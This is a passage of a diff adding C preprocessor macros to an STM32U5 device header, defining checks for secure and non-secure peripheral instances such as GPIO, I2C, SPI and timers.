IS_FMAC_ALL_INSTANCE(INSTANCE) (((INSTANCE) == FMAC_NS) || ((INSTANCE) == FMAC_S)) + +/******************************* GFXMMU Instances *******************************/ +#define IS_GFXMMU_ALL_INSTANCE(INSTANCE) (((INSTANCE) == GFXMMU_NS) || ((INSTANCE) == GFXMMU_S)) + +/******************************* GPIO Instances *******************************/ +#define IS_GPIO_ALL_INSTANCE(INSTANCE) (((INSTANCE) == GPIOA_NS) || ((INSTANCE) == GPIOA_S) || \ + ((INSTANCE) == GPIOB_NS) || ((INSTANCE) == GPIOB_S) || \ + ((INSTANCE) == GPIOC_NS) || ((INSTANCE) == GPIOC_S) || \ + ((INSTANCE) == GPIOD_NS) || ((INSTANCE) == GPIOD_S) || \ + ((INSTANCE) == GPIOE_NS) || ((INSTANCE) == GPIOE_S) || \ + ((INSTANCE) == GPIOF_NS) || ((INSTANCE) == GPIOF_S) || \ + ((INSTANCE) == GPIOG_NS) || ((INSTANCE) == GPIOG_S) || \ + ((INSTANCE) == GPIOH_NS) || ((INSTANCE) == GPIOH_S) || \ + ((INSTANCE) == GPIOI_NS) || ((INSTANCE) == GPIOI_S) || \ + ((INSTANCE) == GPIOJ_NS) || ((INSTANCE) == GPIOJ_S) || \ + ((INSTANCE) == LPGPIO1_NS) || ((INSTANCE) == LPGPIO1_S)) + +/******************************* LPGPIO Instances *****************************/ +#define IS_LPGPIO_ALL_INSTANCE(INSTANCE) (((INSTANCE) == LPGPIO1_NS) || ((INSTANCE) == LPGPIO1_S)) + +/****************************** LTDC Instances ********************************/ +#define IS_LTDC_ALL_INSTANCE(__INSTANCE__) (((__INSTANCE__) == LTDC_NS) || ((__INSTANCE__) == LTDC_S)) + +/****************************** DSI Instances ********************************/ +#define IS_DSI_ALL_INSTANCE(__INSTANCE__) (((__INSTANCE__) == DSI_NS) || ((__INSTANCE__) == DSI_S)) + +/******************************* DMA2D Instances *******************************/ +#define IS_DMA2D_ALL_INSTANCE(__INSTANCE__) (((__INSTANCE__) == DMA2D_NS) || ((__INSTANCE__) == DMA2D_S)) + +/******************************* DCMI Instances *******************************/ +#define IS_DCMI_ALL_INSTANCE(__INSTANCE__) (((__INSTANCE__) == DCMI_NS) || ((__INSTANCE__) == DCMI_S)) + +/******************************* DCACHE Instances *****************************/ +#define IS_DCACHE_ALL_INSTANCE(INSTANCE) (((INSTANCE) == DCACHE1_NS) || ((INSTANCE) == DCACHE1_S) || \ + ((INSTANCE) == DCACHE2_NS) || ((INSTANCE) == DCACHE2_S)) + +/******************************* PSSI Instances *******************************/ +#define IS_PSSI_ALL_INSTANCE(__INSTANCE__) (((__INSTANCE__) == PSSI_NS) || ((__INSTANCE__) == PSSI_S)) + +/******************************* GPIO AF Instances ****************************/ +/* On U5, all GPIO Bank support AF */ +#define IS_GPIO_AF_INSTANCE(INSTANCE) IS_GPIO_ALL_INSTANCE(INSTANCE) + +/**************************** GPIO Lock Instances *****************************/ +/* On U5, all GPIO Bank support the Lock mechanism */ +#define IS_GPIO_LOCK_INSTANCE(INSTANCE) IS_GPIO_ALL_INSTANCE(INSTANCE) + +/******************************** I2C Instances *******************************/ +#define IS_I2C_ALL_INSTANCE(INSTANCE) (((INSTANCE) == I2C1_NS) || ((INSTANCE) == I2C1_S) || \ + ((INSTANCE) == I2C2_NS) || ((INSTANCE) == I2C2_S) || \ + ((INSTANCE) == I2C3_NS) || ((INSTANCE) == I2C3_S) || \ + ((INSTANCE) == I2C4_NS) || ((INSTANCE) == I2C4_S) || \ + ((INSTANCE) == I2C5_NS) || ((INSTANCE) == I2C5_S) || \ + ((INSTANCE) == I2C6_NS) || ((INSTANCE) == I2C6_S)) + +/****************** I2C Instances : wakeup capability from stop modes *********/ +#define IS_I2C_WAKEUP_FROMSTOP_INSTANCE(INSTANCE) IS_I2C_ALL_INSTANCE(INSTANCE) + +/******************* I2C Instances : Group belongingness *********************/ +#define IS_I2C_GRP1_INSTANCE(INSTANCE) (((INSTANCE) == I2C1_NS) || ((INSTANCE) == I2C1_S) || \ + ((INSTANCE) == I2C2_NS) || ((INSTANCE) == I2C2_S) || \ + ((INSTANCE) == I2C4_NS) || ((INSTANCE) == I2C4_S) || \ + ((INSTANCE) == I2C5_NS) || ((INSTANCE) == I2C5_S) || \ + ((INSTANCE) == I2C6_NS) || ((INSTANCE) == I2C6_S)) + +#define IS_I2C_GRP2_INSTANCE(INSTANCE) (((INSTANCE) == I2C3_NS) || ((INSTANCE) == I2C3_S)) + +/****************************** OPAMP Instances *******************************/ +#define IS_OPAMP_ALL_INSTANCE(INSTANCE) (((INSTANCE) == OPAMP1_NS) || ((INSTANCE) == OPAMP1_S) || \ + ((INSTANCE) == OPAMP2_NS) || ((INSTANCE) == OPAMP2_S)) + +/******************************* OSPI Instances *******************************/ +#define IS_OSPI_ALL_INSTANCE(INSTANCE) (((INSTANCE) == OCTOSPI1_NS) || ((INSTANCE) == OCTOSPI1_S) || \ + ((INSTANCE) == OCTOSPI2_NS) || ((INSTANCE) == OCTOSPI2_S)) + +/******************************* HSPI Instances *******************************/ +#define IS_HSPI_ALL_INSTANCE(INSTANCE) (((INSTANCE) == HSPI1_NS) || ((INSTANCE) == HSPI1_S)) + +/******************************* RNG Instances ********************************/ +#define IS_RNG_ALL_INSTANCE(INSTANCE) (((INSTANCE) == RNG_NS) || ((INSTANCE) == RNG_S)) + +/****************************** RTC Instances *********************************/ +#define IS_RTC_ALL_INSTANCE(INSTANCE) (((INSTANCE) == RTC_NS) || ((INSTANCE) == RTC_S)) + +/******************************** SAI Instances *******************************/ +#define IS_SAI_ALL_INSTANCE(INSTANCE) (((INSTANCE) == SAI1_Block_A_NS) || ((INSTANCE) == SAI1_Block_A_S) || \ + ((INSTANCE) == SAI1_Block_B_NS) || ((INSTANCE) == SAI1_Block_B_S) || \ + ((INSTANCE) == SAI2_Block_A_NS) || ((INSTANCE) == SAI2_Block_A_S) || \ + ((INSTANCE) == SAI2_Block_B_NS) || ((INSTANCE) == SAI2_Block_B_S)) + +/****************************** SDMMC Instances *******************************/ +#define IS_SDMMC_ALL_INSTANCE(INSTANCE) (((INSTANCE) == SDMMC1_NS) || ((INSTANCE) == SDMMC1_S) || \ + ((INSTANCE) == SDMMC2_NS) || ((INSTANCE) == SDMMC2_S)) + +/****************************** SMBUS Instances *******************************/ +#define IS_SMBUS_ALL_INSTANCE(INSTANCE) (((INSTANCE) == I2C1_NS) || ((INSTANCE) == I2C1_S) || \ + ((INSTANCE) == I2C2_NS) || ((INSTANCE) == I2C2_S) || \ + ((INSTANCE) == I2C3_NS) || ((INSTANCE) == I2C3_S) || \ + ((INSTANCE) == I2C4_NS) || ((INSTANCE) == I2C4_S) || \ + ((INSTANCE) == I2C5_NS) || ((INSTANCE) == I2C5_S) || \ + ((INSTANCE) == I2C6_NS) || ((INSTANCE) == I2C6_S)) + +/******************* SMBUS Instances : Group belongingness *********************/ +#define IS_SMBUS_GRP1_INSTANCE(INSTANCE) (((INSTANCE) == I2C1_NS) || ((INSTANCE) == I2C1_S) || \ + ((INSTANCE) == I2C2_NS) || ((INSTANCE) == I2C2_S) || \ + ((INSTANCE) == I2C4_NS) || ((INSTANCE) == I2C4_S) || \ + ((INSTANCE) == I2C5_NS) || ((INSTANCE) == I2C5_S) || \ + ((INSTANCE) == I2C6_NS) || ((INSTANCE) == I2C6_S)) + +#define IS_SMBUS_GRP2_INSTANCE(INSTANCE) (((INSTANCE) == I2C3_NS) || ((INSTANCE) == I2C3_S)) + +/******************************** SPI Instances *******************************/ +#define IS_SPI_ALL_INSTANCE(INSTANCE) (((INSTANCE) == SPI1_NS) || ((INSTANCE) == SPI1_S) || \ + ((INSTANCE) == SPI2_NS) || ((INSTANCE) == SPI2_S) || \ + ((INSTANCE) == SPI3_NS) || ((INSTANCE) == SPI3_S)) + +#define IS_SPI_LIMITED_INSTANCE(INSTANCE) (((INSTANCE) == SPI3_NS) || ((INSTANCE) == SPI3_S)) + +#define IS_SPI_FULL_INSTANCE(INSTANCE) (((INSTANCE) == SPI1_NS) || ((INSTANCE) == SPI1_S) || \ + ((INSTANCE) == SPI2_NS) || ((INSTANCE) == SPI2_S)) + +#define IS_SPI_GRP1_INSTANCE(INSTANCE) (((INSTANCE) == SPI1_NS) || ((INSTANCE) == SPI1_S) || \ + ((INSTANCE) == SPI2_NS) || ((INSTANCE) == SPI2_S)) + +#define IS_SPI_GRP2_INSTANCE(INSTANCE) (((INSTANCE) == SPI3_NS) || ((INSTANCE) == SPI3_S)) + +/****************** LPTIM Instances : All supported instances *****************/ +#define IS_LPTIM_INSTANCE(INSTANCE) (((INSTANCE) == LPTIM1_NS) || ((INSTANCE) == LPTIM1_S) ||\ + ((INSTANCE) == LPTIM2_NS) || ((INSTANCE) == LPTIM2_S) ||\ + ((INSTANCE) == LPTIM3_NS) || ((INSTANCE) == LPTIM3_S) ||\ + ((INSTANCE) == LPTIM4_NS) || ((INSTANCE) == LPTIM4_S)) + +/****************** LPTIM Instances : DMA supported instances *****************/ +#define IS_LPTIM_DMA_INSTANCE(INSTANCE) (((INSTANCE) == LPTIM1_NS) || ((INSTANCE) == LPTIM1_S) ||\ + ((INSTANCE) == LPTIM2_NS) || ((INSTANCE) == LPTIM2_S) ||\ + ((INSTANCE) == LPTIM3_NS) || ((INSTANCE) == LPTIM3_S)) + +/************* LPTIM Instances : at least 1 capture/compare channel ***********/ +#define IS_LPTIM_CC1_INSTANCE(INSTANCE) (((INSTANCE) == LPTIM1_NS) || ((INSTANCE) == LPTIM1_S) ||\ + ((INSTANCE) == LPTIM2_NS) || ((INSTANCE) == LPTIM2_S) ||\ + ((INSTANCE) == LPTIM3_NS) || ((INSTANCE) == LPTIM3_S) ||\ + ((INSTANCE) == LPTIM4_NS) || ((INSTANCE) == LPTIM4_S)) + +/************* LPTIM Instances : at least 2 capture/compare channel ***********/ +#define IS_LPTIM_CC2_INSTANCE(INSTANCE) (((INSTANCE) == LPTIM1_NS) || ((INSTANCE) == LPTIM1_S) ||\ + ((INSTANCE) == LPTIM2_NS) || ((INSTANCE) == LPTIM2_S) ||\ + ((INSTANCE) == LPTIM3_NS) || ((INSTANCE) == LPTIM3_S)) + +/****************** LPTIM Instances : supporting encoder interface **************/ +#define IS_LPTIM_ENCODER_INTERFACE_INSTANCE(INSTANCE) (((INSTANCE) == LPTIM1_NS) || ((INSTANCE) == LPTIM1_S) ||\ + ((INSTANCE) == LPTIM2_NS) || ((INSTANCE) == LPTIM2_S)) + +/****************** LPTIM Instances : supporting Input Capture **************/ +#define IS_LPTIM_INPUT_CAPTURE_INSTANCE(INSTANCE) (((INSTANCE) == LPTIM1_NS) || ((INSTANCE) == LPTIM1_S) ||\ + ((INSTANCE) == LPTIM2_NS) || ((INSTANCE) == LPTIM2_S) ||\ + ((INSTANCE) == LPTIM3_NS) || ((INSTANCE) == LPTIM3_S)) + +/****************** TIM Instances : All supported instances *******************/ +#define IS_TIM_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM6_NS) || ((INSTANCE) == TIM6_S) || \ + ((INSTANCE) == TIM7_NS) || ((INSTANCE) == TIM7_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S) || \ + ((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S) || \ + ((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) + +/****************** TIM Instances : supporting 32 bits counter ****************/ +#define IS_TIM_32B_COUNTER_INSTANCE(INSTANCE) (((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S)) + +/****************** TIM Instances : supporting the break function *************/ +#define IS_TIM_BREAK_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S) || \ + ((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S) || \ + ((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) + +/************** TIM Instances : supporting Break source selection *************/ +#define IS_TIM_BREAKSOURCE_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S) || \ + ((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S) || \ + ((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) + +/****************** TIM Instances : supporting 2 break inputs *****************/ +#define IS_TIM_BKIN2_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/************* TIM Instances : at least 1 capture/compare channel *************/ +#define IS_TIM_CC1_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S) || \ + ((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S) || \ + ((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) + +/************ TIM Instances : at least 2 capture/compare channels *************/ +#define IS_TIM_CC2_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S)) + +/************ TIM Instances : at least 3 capture/compare channels *************/ +#define IS_TIM_CC3_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/************ TIM Instances : at least 4 capture/compare channels *************/ +#define IS_TIM_CC4_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/****************** TIM Instances : at least 5 capture/compare channels *******/ +#define IS_TIM_CC5_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/****************** TIM Instances : at least 6 capture/compare channels *******/ +#define IS_TIM_CC6_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/****************** TIM Instances : DMA requests generation (TIMx_DIER.UDE) ***/ +#define IS_TIM_DMA_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM6_NS) || ((INSTANCE) == TIM6_S) || \ + ((INSTANCE) == TIM7_NS) || ((INSTANCE) == TIM7_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S) || \ + ((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S) || \ + ((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) + +/************ TIM Instances : DMA requests generation (TIMx_DIER.CCxDE) *******/ +#define IS_TIM_DMA_CC_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S) || \ + ((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S) || \ + ((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) + +/******************** TIM Instances : DMA burst feature ***********************/ +#define IS_TIM_DMABURST_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S) || \ + ((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S) || \ + ((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) + +/******************* TIM Instances : output(s) available **********************/ +#define IS_TIM_CCX_INSTANCE(INSTANCE, CHANNEL) \ + (((((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1) || \ + ((CHANNEL) == TIM_CHANNEL_2) || \ + ((CHANNEL) == TIM_CHANNEL_3) || \ + ((CHANNEL) == TIM_CHANNEL_4) || \ + ((CHANNEL) == TIM_CHANNEL_5) || \ + ((CHANNEL) == TIM_CHANNEL_6))) \ + || \ + ((((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1) || \ + ((CHANNEL) == TIM_CHANNEL_2) || \ + ((CHANNEL) == TIM_CHANNEL_3) || \ + ((CHANNEL) == TIM_CHANNEL_4))) \ + || \ + ((((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1) || \ + ((CHANNEL) == TIM_CHANNEL_2) || \ + ((CHANNEL) == TIM_CHANNEL_3) || \ + ((CHANNEL) == TIM_CHANNEL_4))) \ + || \ + ((((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1) || \ + ((CHANNEL) == TIM_CHANNEL_2) || \ + ((CHANNEL) == TIM_CHANNEL_3) || \ + ((CHANNEL) == TIM_CHANNEL_4))) \ + || \ + ((((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1) || \ + ((CHANNEL) == TIM_CHANNEL_2) || \ + ((CHANNEL) == TIM_CHANNEL_3) || \ + ((CHANNEL) == TIM_CHANNEL_4))) \ + || \ + ((((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1) || \ + ((CHANNEL) == TIM_CHANNEL_2) || \ + ((CHANNEL) == TIM_CHANNEL_3) || \ + ((CHANNEL) == TIM_CHANNEL_4) || \ + ((CHANNEL) == TIM_CHANNEL_5) || \ + ((CHANNEL) == TIM_CHANNEL_6))) \ + || \ + ((((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1) || \ + ((CHANNEL) == TIM_CHANNEL_2))) \ + || \ + ((((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1))) \ + || \ + ((((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1)))) + +/****************** TIM Instances : supporting complementary output(s) ********/ +#define IS_TIM_CCXN_INSTANCE(INSTANCE, CHANNEL) \ + (((((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1) || \ + ((CHANNEL) == TIM_CHANNEL_2) || \ + ((CHANNEL) == TIM_CHANNEL_3) || \ + ((CHANNEL) == TIM_CHANNEL_4))) \ + || \ + ((((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1) || \ + ((CHANNEL) == TIM_CHANNEL_2) || \ + ((CHANNEL) == TIM_CHANNEL_3) || \ + ((CHANNEL) == TIM_CHANNEL_4))) \ + || \ + ((((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S)) && \ + ((CHANNEL) == TIM_CHANNEL_1)) \ + || \ + ((((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S)) && \ + ((CHANNEL) == TIM_CHANNEL_1)) \ + || \ + ((((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) && \ + ((CHANNEL) == TIM_CHANNEL_1))) + +/****************** TIM Instances : supporting clock division *****************/ +#define IS_TIM_CLOCK_DIVISION_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S) || \ + ((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S) || \ + ((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) + +/****** TIM Instances : supporting external clock mode 1 for ETRF input *******/ +#define IS_TIM_CLOCKSOURCE_ETRMODE1_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/****** TIM Instances : supporting external clock mode 2 for ETRF input *******/ +#define IS_TIM_CLOCKSOURCE_ETRMODE2_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/****************** TIM Instances : supporting external clock mode 1 for TIX inputs*/ +#define IS_TIM_CLOCKSOURCE_TIX_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S)) + +/****************** TIM Instances : supporting internal trigger inputs(ITRX) *******/ +#define IS_TIM_CLOCKSOURCE_ITRX_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S)) + +/****************** TIM Instances : supporting combined 3-phase PWM mode ******/ +#define IS_TIM_COMBINED3PHASEPWM_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/****************** TIM Instances : supporting commutation event generation ***/ +#define IS_TIM_COMMUTATION_EVENT_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S) || \ + ((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S) || \ + ((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) + +/****************** TIM Instances : supporting counting mode selection ********/ +#define IS_TIM_COUNTER_MODE_SELECT_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/****************** TIM Instances : supporting encoder interface **************/ +#define IS_TIM_ENCODER_INTERFACE_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/****************** TIM Instances : supporting Hall sensor interface **********/ +#define IS_TIM_HALL_SENSOR_INTERFACE_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/**************** TIM Instances : external trigger input available ************/ +#define IS_TIM_ETR_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + 